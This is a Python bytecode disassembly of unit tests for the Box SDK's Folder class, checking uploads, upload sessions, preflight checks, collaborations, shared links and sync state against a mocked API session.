upload_session_id LOAD_FAST upload_session_type LOAD_FAST num_parts_processed LOAD_FAST total_parts LOAD_FAST part_size LOAD_CONST ('id', 'type', 'num_parts_processed', 'total_parts', 'part_size') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_GLOBAL patch LOAD_CONST 'os.stat' CALL_FUNCTION SETUP_WITH to 144 STORE_FAST stat LOAD_FAST file_size LOAD_FAST stat LOAD_ATTR return_value STORE_ATTR st_size LOAD_GLOBAL patch LOAD_CONST 'boxsdk.object.folder.open' LOAD_FAST mock_file_stream LOAD_CONST ('return_value',) CALL_FUNCTION SETUP_WITH to 134 POP_TOP LOAD_FAST test_folder LOAD_METHOD get_chunked_uploader LOAD_FAST mock_file_path CALL_METHOD STORE_FAST chunked_uploader POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST expected_data CALL_METHOD LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_FAST chunked_uploader LOAD_ATTR _upload_session STORE_FAST upload_session LOAD_FAST upload_session LOAD_ATTR part_size LOAD_FAST part_size COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR total_parts LOAD_FAST total_parts COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR num_parts_processed LOAD_FAST num_parts_processed COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR type LOAD_FAST upload_session_type COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR id LOAD_FAST upload_session_id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST chunked_uploader LOAD_GLOBAL ChunkedUploader CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CLOSURE mock_items BUILD_TUPLE LOAD_CONST <code object get_response at 0x7fab82258b70, file "f.py", line 122> LOAD_CONST 'mock_items_response_with_marker.<locals>.get_response' MAKE_FUNCTION STORE_FAST get_response LOAD_FAST get_response RETURN_VALUE LOAD_DEREF mock_items UNPACK_SEQUENCE STORE_FAST items_json STORE_FAST items LOAD_FAST items_json LOAD_FAST offset LOAD_FAST limit LOAD_FAST offset BINARY_ADD BUILD_SLICE BINARY_SUBSCR STORE_FAST entries LOAD_GLOBAL Mock LOAD_GLOBAL BoxResponse CALL_FUNCTION STORE_FAST mock_box_response LOAD_GLOBAL Mock LOAD_GLOBAL DefaultNetworkResponse CALL_FUNCTION STORE_FAST mock_network_response LOAD_FAST mock_network_response LOAD_FAST mock_box_response STORE_ATTR network_response LOAD_FAST entries LOAD_GLOBAL len LOAD_FAST entries CALL_FUNCTION LOAD_FAST limit LOAD_FAST offset LOAD_CONST ('entries', 'total_count', 'limit', 'offset') BUILD_CONST_KEY_MAP DUP_TOP LOAD_FAST mock_box_response LOAD_ATTR json STORE_ATTR return_value STORE_FAST mock_json LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST mock_json CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_FAST mock_box_response STORE_ATTR content LOAD_CONST 200 LOAD_FAST mock_box_response STORE_ATTR status_code LOAD_CONST True LOAD_FAST mock_box_response STORE_ATTR ok LOAD_FAST mock_box_response LOAD_FAST items LOAD_FAST offset LOAD_FAST limit LOAD_FAST offset BINARY_ADD BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE RETURN_VALUE LOAD_FAST mock_collab_response LOAD_FAST mock_box_session LOAD_ATTR post STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD add_collaborator LOAD_FAST collaborator LOAD_FAST role LOAD_FAST notify LOAD_FAST can_view_path CALL_METHOD STORE_FAST collaboration LOAD_GLOBAL isinstance LOAD_FAST collaboration LOAD_GLOBAL Collaboration CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL API LOAD_ATTR BASE_API_URL LOAD_CONST '/collaborations' BINARY_ADD STORE_FAST expected_url LOAD_CONST 'notify' LOAD_FAST notify BUILD_MAP STORE_FAST params LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_CONST True LOAD_FAST data LOAD_FAST params LOAD_CONST ('expect_json_response', 'data', 'params') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST mock_user LOAD_FAST mock_user LOAD_ATTR object_id LOAD_CONST 'user' LOAD_CONST ('id', 'type') BUILD_CONST_KEY_MAP BUILD_TUPLE LOAD_FAST mock_group LOAD_FAST mock_group LOAD_ATTR object_id LOAD_CONST 'group' LOAD_CONST ('id', 'type') BUILD_CONST_KEY_MAP BUILD_TUPLE LOAD_CONST '[email protected]' LOAD_CONST '[email protected]' LOAD_CONST 'user' LOAD_CONST ('login', 'type') BUILD_CONST_KEY_MAP BUILD_TUPLE LOAD_CONST ('user', 'group', 'email') BUILD_CONST_KEY_MAP STORE_FAST accessible_dict LOAD_FAST accessible_dict LOAD_FAST accessible_by BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST invitee STORE_FAST mock_accessible_by LOAD_FAST test_folder LOAD_ATTR object_id LOAD_CONST 'folder' LOAD_CONST ('id', 'type') BUILD_CONST_KEY_MAP LOAD_FAST mock_accessible_by LOAD_FAST role LOAD_CONST ('item', 'accessible_by', 'role') BUILD_CONST_KEY_MAP STORE_FAST body_params LOAD_FAST can_view_path POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST body_params LOAD_CONST 'can_view_path' STORE_SUBSCR LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST body_params CALL_METHOD STORE_FAST data LOAD_GLOBAL _assert_collaborator_added LOAD_FAST test_folder LOAD_FAST invitee LOAD_FAST mock_box_session LOAD_FAST mock_collab_response LOAD_FAST notify LOAD_FAST role LOAD_FAST can_view_path LOAD_FAST data CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 30 POP_TOP LOAD_FAST test_folder LOAD_METHOD add_collaborator LOAD_CONST b'byte string' LOAD_GLOBAL CollaborationRole LOAD_ATTR EDITOR CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST test_folder LOAD_ATTR delete LOAD_FAST recursive LOAD_FAST etag LOAD_CONST ('recursive', 'etag') CALL_FUNCTION POP_TOP LOAD_FAST test_folder LOAD_METHOD get_url CALL_METHOD STORE_FAST expected_url LOAD_FAST mock_box_session LOAD_ATTR delete LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_CONST False LOAD_CONST 'recursive' LOAD_FAST recursive BUILD_MAP LOAD_FAST if_match_header LOAD_CONST ('expect_json_response', 'params', 'headers') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST test_folder LOAD_METHOD get_url LOAD_CONST 'items' CALL_METHOD STORE_FAST expected_url LOAD_FAST mock_items_response LOAD_FAST limit LOAD_FAST offset CALL_FUNCTION UNPACK_SEQUENCE LOAD_FAST mock_box_session LOAD_ATTR get STORE_ATTR return_value STORE_FAST expected_items LOAD_FAST test_folder LOAD_ATTR get_items LOAD_FAST limit LOAD_FAST offset LOAD_FAST fields LOAD_FAST sort LOAD_FAST direction LOAD_CONST ('fields', 'sort', 'direction') CALL_FUNCTION STORE_FAST items LOAD_FAST limit LOAD_FAST offset LOAD_CONST ('limit', 'offset') BUILD_CONST_KEY_MAP STORE_FAST expected_params LOAD_FAST fields POP_JUMP_IF_FALSE LOAD_CONST ',' LOAD_METHOD join LOAD_FAST fields CALL_METHOD LOAD_FAST expected_params LOAD_CONST 'fields' STORE_SUBSCR LOAD_FAST sort POP_JUMP_IF_FALSE LOAD_FAST sort LOAD_FAST expected_params LOAD_CONST 'sort' STORE_SUBSCR LOAD_FAST direction POP_JUMP_IF_FALSE LOAD_FAST direction LOAD_FAST expected_params LOAD_CONST 'direction' STORE_SUBSCR SETUP_LOOP to 136 LOAD_GLOBAL zip LOAD_FAST items LOAD_FAST expected_items CALL_FUNCTION GET_ITER FOR_ITER to 134 UNPACK_SEQUENCE STORE_FAST actual STORE_FAST expected LOAD_FAST actual LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST mock_box_session LOAD_ATTR get LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_FAST expected_params LOAD_CONST ('params',) CALL_FUNCTION POP_TOP LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab703064b0, file "f.py", line 261> LOAD_CONST 'test_get_items.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST items LOAD_FAST expected_items CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST i STORE_FAST e LOAD_FAST i LOAD_ATTR id LOAD_FAST e LOAD_ATTR object_id COMPARE_OP == YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'Test File Description' STORE_FAST file_description LOAD_CONST 'attr' LOAD_CONST 123 BUILD_MAP STORE_FAST additional_attributes LOAD_GLOBAL API LOAD_ATTR UPLOAD_URL FORMAT_VALUE LOAD_CONST '/files/content' BUILD_STRING STORE_FAST expected_url LOAD_FAST upload_using_accelerator POP_JUMP_IF_FALSE LOAD_FAST upload_using_accelerator_fails POP_JUMP_IF_FALSE LOAD_GLOBAL BoxAPIException LOAD_CONST 400 CALL_FUNCTION LOAD_FAST mock_box_session LOAD_ATTR options STORE_ATTR side_effect JUMP_FORWARD to 58 LOAD_FAST mock_accelerator_response_for_new_uploads LOAD_FAST mock_box_session LOAD_ATTR options STORE_ATTR return_value LOAD_FAST mock_new_upload_accelerator_url STORE_FAST expected_url LOAD_FAST mock_upload_response LOAD_FAST mock_box_session LOAD_ATTR post STORE_ATTR return_value LOAD_FAST is_stream POP_JUMP_IF_FALSE LOAD_GLOBAL BytesIO LOAD_FAST mock_content_response LOAD_ATTR content CALL_FUNCTION STORE_FAST mock_file_stream LOAD_FAST test_folder LOAD_ATTR upload_stream LOAD_FAST mock_file_stream LOAD_GLOBAL basename LOAD_FAST mock_file_path CALL_FUNCTION LOAD_FAST file_description LOAD_FAST upload_using_accelerator LOAD_FAST content_created_at LOAD_FAST content_modified_at LOAD_FAST additional_attributes LOAD_FAST sha1 LOAD_FAST etag LOAD_CONST ('upload_using_accelerator', 'content_created_at', 'content_modified_at', 'additional_attributes', 'sha1', 'etag') CALL_FUNCTION STORE_FAST new_file JUMP_FORWARD to 184 LOAD_GLOBAL mock_open LOAD_FAST mock_content_response LOAD_ATTR content LOAD_CONST ('read_data',) CALL_FUNCTION STORE_FAST mock_file LOAD_FAST mock_file LOAD_ATTR return_value STORE_FAST mock_file_stream LOAD_GLOBAL patch LOAD_CONST 'boxsdk.object.folder.open' LOAD_FAST mock_file LOAD_CONST True LOAD_CONST ('create',) CALL_FUNCTION SETUP_WITH to 178 POP_TOP LOAD_FAST test_folder LOAD_ATTR upload LOAD_FAST mock_file_path LOAD_FAST file_description LOAD_FAST upload_using_accelerator LOAD_FAST content_created_at LOAD_FAST content_modified_at LOAD_FAST additional_attributes LOAD_FAST sha1 LOAD_FAST etag LOAD_CONST ('file_description', 'upload_using_accelerator', 'content_created_at', 'content_modified_at', 'additional_attributes', 'sha1', 'etag') CALL_FUNCTION STORE_FAST new_file POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'file' LOAD_CONST 'unused' LOAD_FAST mock_file_stream BUILD_TUPLE BUILD_MAP STORE_FAST mock_files LOAD_GLOBAL basename LOAD_FAST mock_file_path CALL_FUNCTION LOAD_CONST 'id' LOAD_FAST mock_object_id BUILD_MAP LOAD_FAST file_description LOAD_GLOBAL normalize_date_to_rfc3339_format LOAD_FAST content_created_at CALL_FUNCTION LOAD_GLOBAL normalize_date_to_rfc3339_format LOAD_FAST content_modified_at CALL_FUNCTION LOAD_CONST ('name', 'parent', 'description', 'content_created_at', 'content_modified_at') BUILD_CONST_KEY_MAP STORE_FAST attributes LOAD_FAST attributes LOAD_METHOD update LOAD_FAST additional_attributes CALL_METHOD POP_TOP LOAD_CONST 'attributes' LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST attributes CALL_METHOD BUILD_MAP STORE_FAST data LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_CONST False LOAD_FAST mock_files LOAD_FAST data LOAD_FAST if_match_sha1_header LOAD_CONST ('expect_json_response', 'files', 'data', 'headers') CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST new_file LOAD_GLOBAL File CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_file LOAD_ATTR object_id LOAD_FAST mock_object_id COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'id' LOAD_FAST new_file COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_file LOAD_CONST 'id' BINARY_SUBSCR LOAD_FAST mock_object_id COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_file LOAD_ATTR description LOAD_FAST file_description COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL hasattr LOAD_FAST new_file LOAD_CONST 'entries' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'entries' LOAD_FAST new_file COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST mock_accelerator_response_for_new_uploads LOAD_FAST mock_box_session LOAD_ATTR options STORE_ATTR return_value LOAD_FAST is_stream POP_JUMP_IF_FALSE LOAD_GLOBAL BytesIO LOAD_FAST mock_content_response LOAD_ATTR content CALL_FUNCTION STORE_FAST mock_file_stream LOAD_FAST test_folder LOAD_ATTR upload_stream LOAD_FAST mock_file_stream LOAD_GLOBAL basename LOAD_FAST mock_file_path CALL_FUNCTION LOAD_CONST True LOAD_CONST True LOAD_CONST ('preflight_check', 'upload_using_accelerator') CALL_FUNCTION POP_TOP JUMP_FORWARD to 100 LOAD_GLOBAL mock_open LOAD_FAST mock_content_response LOAD_ATTR content LOAD_CONST ('read_data',) CALL_FUNCTION STORE_FAST mock_file LOAD_GLOBAL patch LOAD_CONST 'boxsdk.object.folder.open' LOAD_FAST mock_file LOAD_CONST True LOAD_CONST ('create',) CALL_FUNCTION SETUP_WITH to 94 POP_TOP LOAD_FAST test_folder LOAD_ATTR upload LOAD_FAST mock_file_path LOAD_CONST True LOAD_CONST True LOAD_CONST ('preflight_check', 'upload_using_accelerator') CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST mock_box_session LOAD_ATTR options LOAD_METHOD assert_called_once CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR UPLOAD_URL FORMAT_VALUE LOAD_CONST '/files/upload_sessions' BUILD_STRING STORE_FAST expected_url LOAD_CONST 197520 STORE_FAST file_size LOAD_CONST 'test_file.pdf' STORE_FAST file_name LOAD_CONST 'F971964745A5CD0C001BBE4E58196BFD' STORE_FAST upload_session_id LOAD_CONST 'upload_session' STORE_FAST upload_session_type LOAD_CONST 0 STORE_FAST num_parts_processed LOAD_CONST 16 STORE_FAST total_parts LOAD_CONST 12345 STORE_FAST part_size LOAD_FAST test_folder LOAD_ATTR object_id LOAD_FAST file_size LOAD_FAST file_name LOAD_CONST ('folder_id', 'file_size', 'file_name') BUILD_CONST_KEY_MAP STORE_FAST expected_data LOAD_FAST upload_session_id LOAD_FAST upload_session_type LOAD_FAST num_parts_processed LOAD_FAST total_parts LOAD_FAST part_size LOAD_CONST ('id', 'type', 'num_parts_processed', 'total_parts', 'part_size') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD create_upload_session LOAD_FAST file_size LOAD_FAST file_name CALL_METHOD STORE_FAST upload_session LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST expected_data CALL_METHOD LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST upload_session LOAD_GLOBAL UploadSession CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR part_size LOAD_FAST part_size COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR total_parts LOAD_FAST total_parts COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR num_parts_processed LOAD_FAST num_parts_processed COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR type LOAD_FAST upload_session_type COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST upload_session LOAD_ATTR id LOAD_FAST upload_session_id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_ATTR object LOAD_GLOBAL Folder LOAD_CONST 'preflight_check' LOAD_CONST None LOAD_CONST ('return_value',) CALL_FUNCTION SETUP_WITH to 176 POP_TOP LOAD_GLOBAL BytesIO LOAD_CONST b'some bytes' CALL_FUNCTION LOAD_CONST 'foo.txt' LOAD_CONST ('file_stream', 'file_name') BUILD_CONST_KEY_MAP STORE_FAST kwargs LOAD_GLOBAL MagicMock CALL_FUNCTION LOAD_FAST mock_box_session STORE_ATTR post LOAD_FAST preflight_check POP_JUMP_IF_FALSE LOAD_FAST preflight_check LOAD_FAST kwargs LOAD_CONST 'preflight_check' STORE_SUBSCR LOAD_FAST file_size LOAD_FAST kwargs LOAD_CONST 'preflight_expected_size' STORE_SUBSCR LOAD_FAST preflight_fails POP_JUMP_IF_FALSE LOAD_GLOBAL BoxAPIException LOAD_CONST 400 CALL_FUNCTION LOAD_FAST test_folder LOAD_ATTR preflight_check STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL BoxAPIException CALL_METHOD SETUP_WITH to 104 POP_TOP LOAD_FAST test_folder LOAD_ATTR upload_stream BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 124 LOAD_FAST test_folder LOAD_ATTR upload_stream BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST preflight_check POP_JUMP_IF_FALSE LOAD_FAST test_folder LOAD_ATTR preflight_check LOAD_ATTR called_once_with LOAD_FAST file_size LOAD_CONST 'foo.txt' LOAD_CONST ('size', 'name') CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL _assert_post_called_correctly LOAD_FAST mock_box_session LOAD_FAST preflight_fails CALL_FUNCTION POP_TOP JUMP_FORWARD to 172 LOAD_FAST test_folder LOAD_ATTR preflight_check LOAD_ATTR called POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST preflight_fails POP_JUMP_IF_FALSE LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR called POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 30 LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR called POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL patch LOAD_ATTR object LOAD_GLOBAL Folder LOAD_CONST 'preflight_check' LOAD_CONST None LOAD_CONST ('return_value',) CALL_FUNCTION SETUP_WITH to 172 POP_TOP LOAD_FAST mock_file_path LOAD_CONST 'foo.txt' LOAD_CONST ('file_path', 'file_name') BUILD_CONST_KEY_MAP STORE_FAST kwargs LOAD_GLOBAL MagicMock CALL_FUNCTION LOAD_FAST mock_box_session STORE_ATTR post LOAD_FAST preflight_check POP_JUMP_IF_FALSE LOAD_FAST preflight_check LOAD_FAST kwargs LOAD_CONST 'preflight_check' STORE_SUBSCR LOAD_FAST file_size LOAD_FAST kwargs LOAD_CONST 'preflight_expected_size' STORE_SUBSCR LOAD_FAST preflight_fails POP_JUMP_IF_FALSE LOAD_GLOBAL BoxAPIException LOAD_CONST 400 CALL_FUNCTION LOAD_FAST test_folder LOAD_ATTR preflight_check STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL BoxAPIException CALL_METHOD SETUP_WITH to 100 POP_TOP LOAD_FAST test_folder LOAD_ATTR upload BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 120 LOAD_FAST test_folder LOAD_ATTR upload BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST preflight_check POP_JUMP_IF_FALSE LOAD_FAST test_folder LOAD_ATTR preflight_check LOAD_ATTR called_once_with LOAD_FAST file_size LOAD_CONST 'foo.txt' LOAD_CONST ('size', 'name') CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL _assert_post_called_correctly LOAD_FAST mock_box_session LOAD_FAST preflight_fails CALL_FUNCTION POP_TOP JUMP_FORWARD to 168 LOAD_FAST test_folder LOAD_ATTR preflight_check LOAD_ATTR called POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST test_folder LOAD_METHOD get_type_url CALL_METHOD STORE_FAST expected_url LOAD_FAST mock_folder_response LOAD_FAST mock_box_session LOAD_ATTR post STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD create_subfolder LOAD_CONST 'name' CALL_METHOD STORE_FAST new_folder LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'name' LOAD_CONST 'id' LOAD_FAST mock_object_id BUILD_MAP LOAD_CONST ('name', 'parent') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST data LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_FAST data LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST new_folder LOAD_GLOBAL Folder CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_folder LOAD_ATTR object_id LOAD_FAST mock_object_id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST test_folder LOAD_METHOD get_url CALL_METHOD STORE_FAST expected_url LOAD_FAST test_folder LOAD_ATTR object_type LOAD_FAST test_folder LOAD_ATTR object_id LOAD_CONST 'url' LOAD_FAST test_url BUILD_MAP LOAD_CONST ('type', 'id', 'shared_link') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR put LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_CONST 'shared_link' BUILD_MAP BUILD_MAP STORE_FAST expected_data LOAD_FAST shared_link_access LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST shared_link_access LOAD_FAST expected_data LOAD_CONST 'shared_link' BINARY_SUBSCR LOAD_CONST 'access' STORE_SUBSCR LOAD_FAST shared_link_unshared_at LOAD_GLOBAL SDK_VALUE_NOT_SET COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL normalize_date_to_rfc3339_format LOAD_FAST shared_link_unshared_at CALL_FUNCTION LOAD_FAST expected_data LOAD_CONST 'shared_link' BINARY_SUBSCR LOAD_CONST 'unshared_at' STORE_SUBSCR LOAD_FAST shared_link_can_download LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST shared_link_can_preview LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE BUILD_MAP DUP_TOP LOAD_FAST expected_data LOAD_CONST 'shared_link' BINARY_SUBSCR LOAD_CONST 'permissions' STORE_SUBSCR STORE_FAST permissions LOAD_FAST shared_link_can_download LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST shared_link_can_download LOAD_FAST permissions LOAD_CONST 'can_download' STORE_SUBSCR LOAD_FAST shared_link_can_preview LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST shared_link_can_preview LOAD_FAST permissions LOAD_CONST 'can_preview' STORE_SUBSCR LOAD_FAST shared_link_password LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST shared_link_password LOAD_FAST expected_data LOAD_CONST 'shared_link' BINARY_SUBSCR LOAD_CONST 'password' STORE_SUBSCR LOAD_FAST shared_link_vanity_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST shared_link_vanity_name LOAD_FAST expected_data LOAD_CONST 'shared_link' BINARY_SUBSCR LOAD_CONST 'vanity_name' STORE_SUBSCR LOAD_FAST test_folder LOAD_ATTR get_shared_link LOAD_FAST etag LOAD_FAST shared_link_access LOAD_FAST shared_link_unshared_at LOAD_FAST shared_link_password LOAD_FAST shared_link_can_download LOAD_FAST shared_link_can_preview LOAD_FAST shared_link_vanity_name LOAD_CONST ('etag', 'access', 'unshared_at', 'password', 'allow_download', 'allow_preview', 'vanity_name') CALL_FUNCTION STORE_FAST url LOAD_FAST mock_box_session LOAD_ATTR put LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST expected_data CALL_METHOD LOAD_FAST if_match_header LOAD_CONST None LOAD_CONST ('data', 'headers', 'params') CALL_FUNCTION POP_TOP LOAD_FAST url LOAD_FAST test_url COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST test_folder LOAD_METHOD get_url CALL_METHOD STORE_FAST expected_url LOAD_FAST mock_folder_response LOAD_FAST mock_box_session LOAD_ATTR put STORE_ATTR return_value LOAD_CONST 'sync_state' LOAD_FAST sync_state BUILD_MAP STORE_FAST data LOAD_FAST test_folder LOAD_METHOD update_sync_state LOAD_FAST sync_state CALL_METHOD STORE_FAST update_response LOAD_FAST mock_box_session LOAD_ATTR put LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST data CALL_METHOD LOAD_CONST None LOAD_CONST None LOAD_CONST ('data', 'params', 'headers') CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST update_response LOAD_GLOBAL Folder CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST update_response LOAD_ATTR object_id LOAD_FAST test_folder LOAD_ATTR object_id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST (100, 'foo.txt') UNPACK_SEQUENCE STORE_FAST new_file_size STORE_FAST new_file_name LOAD_FAST mock_accelerator_response_for_new_uploads LOAD_FAST mock_box_session LOAD_ATTR options STORE_ATTR return_value 